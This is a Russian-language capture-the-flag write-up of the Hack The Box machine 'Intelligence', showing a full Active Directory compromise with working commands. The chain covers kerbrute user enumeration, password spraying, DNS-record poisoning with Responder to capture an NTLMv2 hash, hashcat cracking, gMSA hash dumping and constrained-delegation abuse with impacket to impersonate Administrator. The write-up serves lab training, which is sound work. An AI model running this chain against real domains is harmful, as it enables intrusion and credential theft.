В этой статье продолжим тему взлома Active Directory. Я покажу, как на примере задания Hack The Box Intelligence пентестить Active Directory.
Еще по теме: Уклонение от Honeytoken при атаке Active Directory
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
1 |
10.10.10.248 intelligence.htb |
И запускаем сканирование. Для сканирования портов лучше всего подходит Nmap. Можно улучшить результаты сканирования с помощью этого скрипта:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Скрипт нашел большое количество открытых портов, что для ОС Windows очень характерно:
- порт 53 — служба DNS. Порт участвует в трастовых отношениях между доменами;
- порт 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- порт 88 — служба Kerberos. Также используется в доверительных отношениях между лесами;
- порт 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- порт 139 — служба сеансов NetBIOS, NetLogon;
- порт 389 — служба LDAP;
- порт 445 — служба SMB;
- порт 464 — служба смены пароля Kerberos;
- порт 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- порт 636 — LDAP с шифрованием SSL или TLS;
- порт 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- порт 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- порт 5985 — отвечает за службу удаленного управления WinRM;
- порт 9389 — веб‑службы AD DS.
Также в сертификате LDAP нашлось новое доменное имя dc.intelligence.htb. Возьмем на заметку и обновим запись в файле /etc/hosts:
1 |
10.10.10.248 intelligence.htb dc.intelligence.htb |
Для начала запускаем скрипты Nmap для получения информации с DNS:
1 |
nmap -p53 --script=dns* intelligence.htb |
Но положительно результата это не принесло. Не вышло авторизоваться как анонимный пользователь в SMB и LDAP. Поэтому будем пробивать веб.
Хорошенько рассмотрим сайт и попробуем найти ценную информацию. Сам сайт на первый взгляд выглядит непримечательно. Из интересного — на главной странице сайта есть два файла PDF.
Разведка
В файлах ничего интересного нет. Но из любого учебника по OSINT вы узнаете, что в документах самое любопытное — это метаданные, в частности атрибуты типа «создатель» или «владелец». Эти данные могут раскрыть логины пользователей, которые потом можно будет использовать для доступа к учетным данным.
Чтобы просмотреть метаданные можно использовать exiftool. Для установки тулзы, вводим:
1 2 |
sudo apt install exiftool exiftool * |
Точка входа
Перечисление аккаунтов
Мы нашли два имени, а это означает, что теперь можно попробовать найти аккаунты через аутентификацию Kerberos. Дело в том, что Kerberos укажет отсуствие пользователя в базе. Надо только сформировать все возможные варианты аккаунтов и просеивать их. Например, для пары name surname можно составить такие имена:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
Administrator Guest name namesurname name.surname names name.s sname s.name surname surnamename surname.name surnamen surname.n nsurname n.surname |
Чтобы составлять логины по такому шаблону, можно прибегнуть к этому Python скрипту:
1 2 3 4 5 6 7 8 9 10 11 12 |
#!/usr/bin/python3 names = ["Jose Williams", "William Lee"] list = ["Administrator", "Guest"] for name in names: n1, n2 = name.split(' ') for x in [ n1, n1 + n2, n1 + "." + n2, n1 + n2[0], n1 + "." + n2[0], n2[0] + n1, n2[0] + "." + n1, n2, n2 + n1, n2 + "." + n1, n2 + n1[0], n2 + "." + n1[0], n1[0] + n2, n1[0] + "." + n2 ]: list.append(x) for n in list: print(n) |
А теперь заюзаем kerbrute для перебора лоигнов. Укажем опцию перечисления пользователей и передадим их список.
1 |
./kerbrute_linux_amd64 userenum --dc intelligence.htb -d intelligence.htb namelist.txt |
Имена пользователей, указанные в документах, и оказались названиями аккаунтов. Дальше, что бы я ни попробовал (даже брут паролей), никуда продвинуться не получилось. Видимо, что‑то упустили на сайте.
Возвращаемся к вебу, на этот раз вооружимся Burp Suite. Используя Burp Proxy обращаем внимание на место хранения файлов и их названия.
Имена файлов — это даты, а значит, можно попробовать найти и другие документы. Для этого отправим запрос в Burp Intruder, чтобы перебрать и номер месяца, и день.
Сортируем результат по коду ответа, чтобы отыскать документы среди сообщений об ошибках.
Теперь скачаем их. Сначала сохраним необходимые нам нагрузки средствами Burp. Для этого отмечаем в фильтре, что нас интересует только код ответа 200, а после этого выбираем Save —> Results table.
Поставим в качестве разделителя пробел и выберем только две нагрузки. Я сохранил нагрузки в файл save.txt, а потом скачал все эти документы через wget.
Точка опоры
Для парсинга файла save.txt и запуска wget будем использовать awk.
1 |
awk '{print "wget http://intelligence.htb/documents/2020-"$1"-"$2"-upload.pdf -O ./docs/2020-"$1"-"$2"-upload.pdf"}' save.txt | /bin/bash -i |
А после загрузки документов получим всех пользователей (84 пользователя) и проверим их существование в системе.
1 2 |
exiftool ./docs/* | grep "Creator" | awk '{print $3}' > users.txt ./kerbrute_linux_amd64 userenum --dc intelligence.htb -d intelligence.htb users.txt |
В итоге все пользователи есть в системе. Я снова попытался их брутить, но ничего не вышло. Может, в документах есть важная информация?
Парсинг текста из PDF
Для проверки большого количества документов удобно использовать Python и библиотеку pdfminer. Установить ее можно через pip:
1 2 |
pip3 install pdfminer pip3 install pdfminer.six |
Будем искать в тексте каждого документа важные подстроки: user, username, login, pass, password, passphere, secret.
1 2 3 4 5 6 7 8 9 10 11 12 |
#!/usr/bin/python3 from pdfminer.high_level import extract_text from os import listdir words = ['user','username','login','pass','password', 'passphere', 'secret'] files = listdir("./docs") for filename in files: text = extract_text("./docs/"+filename) for word in words: if word in text: print("File: " + filename + " ============") print(text) break |
В результате работы скрипта мы получим содержимое одного документа, в котором есть слова username и password, а также сам пароль.
Атака Password Spraying
Мы имеем 85 пользователей и один пароль, поэтому нам нужно перебрать этот пароль по всем пользователям (техника Password Spraying). Для брута возьмем уже очень знаменитый мощный инструмент — CrackMapExec (см. также Правильное использование CrackMapExec). В параметрах программы, помимо адреса хоста, указываем протокол SMB, словарь с именами пользователей и известный пароль.
1 |
crackmapexec smb intelligence.htb -u users.txt -p NewIntelligenceCorpUser9876 |
Авторизоваться по WinRM не получилось, поэтому просмотрим доступные ресурсы SMB.
1 |
smbmap -H 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 |
Теперь нам стали доступны для чтения директории Users и IT. Снова рекурсивно выводим все содержимое ресурса, где и находим флаг пользователя, а также какой‑то скрипт на PowerShell.
1 |
smbmap -H 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 -R |
1 2 3 |
smbclient //intelligence.htb/Users -U 'Tiffany.Molina' cd Tiffany.Molina\Desktop\ get user.txt |
Продвижение
Мы нашли еще один интересный файл — скрипт на PowerShell. Скачиваем его и смотрим, что внутри.
1 2 |
smbclient //intelligence.htb/IT -U 'Tiffany.Molina' get downdetector.ps1 |
Этот скрипт каждые пять минут запрашивает все DNS-записи домена intelligence.htb, которые начинаются с последовательности web. Затем выполняются HTTP-запросы с использованием каких‑то учетных данных (параметр -UseDefaultCredentials). Если сервер недоступен, то отправляется сообщение на электронную почту пользователя TED.GRAVES. Видимо, его учетные данные и используются для доступа к серверам с приставкой web.
Утечка NTLM-хеша
Если мы сможем создать свою запись DNS, то запрос будет идти на наш хост. Это позволит нам получить учетные данные целевого пользователя с помощью Responder. Сначала активируем наш отлавливатель.
1 |
sudo responder -I tun0 -wrf |
А теперь используем dnstool из пакета утилит krbrelayx для добавления записи DNS с нашим IP-адресом.
1 |
python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r webralf.intelligence.htb -d 10.10.14.14 10.10.10.248 |
Запись успешно добавлена, осталось подождать подключения, так как скрипт выполняется раз в пять минут. Долго ждать не пришлось — я почти сразу получил желанный NTKMv2-хеш пользователя.
Быстро перебрать хеш мы можем с помощью hashcat, но перед этим необходимо узнать тип хеша. Для этого можно воспользоваться встроенными примерами хешей и грепнуть только нужный нам NTLMv2.
1 |
hashcat --example | grep -A2 -B2 NTLMv2 |
Нас интересует число в графе MODE — это и есть тип хеша. Его мы передаем hashcat в параметре -m. Параметр -a, равный нулю, говорит о переборе по словарю.
1 |
hashcat -m 5600 -a 0 hash.txt ../tools/rockyou.txt |
Пароль нашелся очень быстро, но, где его использовать, я на этом этапе не понимал.
Повышение привилегий
Для поиска путей эксплуатации и повышения привилегий в Active Directory написано много скриптов на PowerShell, и самый популярный из них — PowerView. Его даже переписали на C#, чтобы работать без PowerShell. Единственный минус — нужно уже присутствовать в среде Active Directory. Но мало кто знает, что его также переписали и на Python, утилита называется pywerview. Именно этой версией мы и воспользуемся.
Первым делом узнаем информацию о пользователях, группах и служебных аккаунтах с помощью команд get-netuser, get-netgroup и get-netcomputer.
1 |
./pywerview.py get-netcomputer -u 'Ted.Graves' -p 'Mr.Teddy' -d intelligence.htb -t dc.intelligence.htb --full-data |
Последняя команда открывает много интересной информации. Во‑первых, служебная учетная запись svc_int$ оказалась записью MSA, и для нее установлен флаг msds-allowedtodelegateto. Разбираем по порядку.
Управляемые учетные записи Active Directory
Управляемые учетные записи (Managed Service Accounts, MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика. Основная их идея в том, что паролем таких учетных записей полностью управляет Active Directory. Для них автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней.
Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью mimikatz.
Но и такими учетными записями нужно как‑то управлять, а это значит, что если у нас есть доступ к ним, то мы можем получить хеш ее пароля. Для этого написан инструмент gMSADumper.
1 |
python3 gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.htb' -l 'dc.intelligence.htb' |
У нас есть хеш пароля учетной записи!
Ограниченное делегирование (Kerberos Constrained Delegation)
Теперь вспомним про атрибут msds-allowedtodelegateto, который должен содержать список имен SPN. Этот атрибут используется для настройки службы таким образом, чтобы она могла получать билеты службы, которые можно использовать для ограниченного делегирования.
Ограниченное делегирование использует два основных расширения Kerberos: S4U2Self и S4U2Proxy. На высоком уровне S4U2Self позволяет учетной записи запрашивать билет службы для себя от имени любого другого пользователя (без пароля). Если бит TRUSTED_TO_AUTH_FOR_DELEGATION установлен (как в нашем случае), то билет (TGS) будет помечен как делегированный.
Затем S4U2Proxy используется учетной записью с помощью делегированного TGS, чтобы запросить TGS для указанного SPN. Таким образом, имея TGS для целевого SPN, мы сможем выполнять действия от имени учетной записи службы.
Silver Ticket
Давайте сделаем Silver Ticket для SPN WWW. Но перед этим нужно выставить системное время как на сервере (для аутентификации Kerberos необходимо различие в системном времени не более пяти минут).
1 2 |
sudo apt install ntpdate sudo ntpdate 10.10.10.248 |
Затем создаем и экспортируем билет. Для этого нам понадобится скрипт getST из пакета impacket. Указываем SPN (параметр -spn), учетные данные и пользователя.
1 2 |
getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate Administrator export KRB5CCNAME=Administrator.ccache |
А теперь попробуем подключиться к общему ресурсу от имени администратора. В параметрах указываем опции авторизации Kerberos ( -k) без ввода пароля ( -no-pass).
1 |
python3 /usr/share/doc/python3-impacket/examples/smbclient.py -k intelligence.htb/Administrator@dc.intelligence.htb -no-pass |
Мы получили флаг рута, а значит, машина захвачена!
Еще по теме: Обход PowerShell AMSI при атаке на Active Directory
posovetuyte pojalusta gde nauchitsa etomu vsemu.pojaluysta(:
1. Изучение работы сетей и протоколов (обязательно).
2. Навыки в программировании (желательно).
4. Изучение материалов на сайтах по ИБ (обязательно).
5. Прохождение онлайн CTF (обязательно).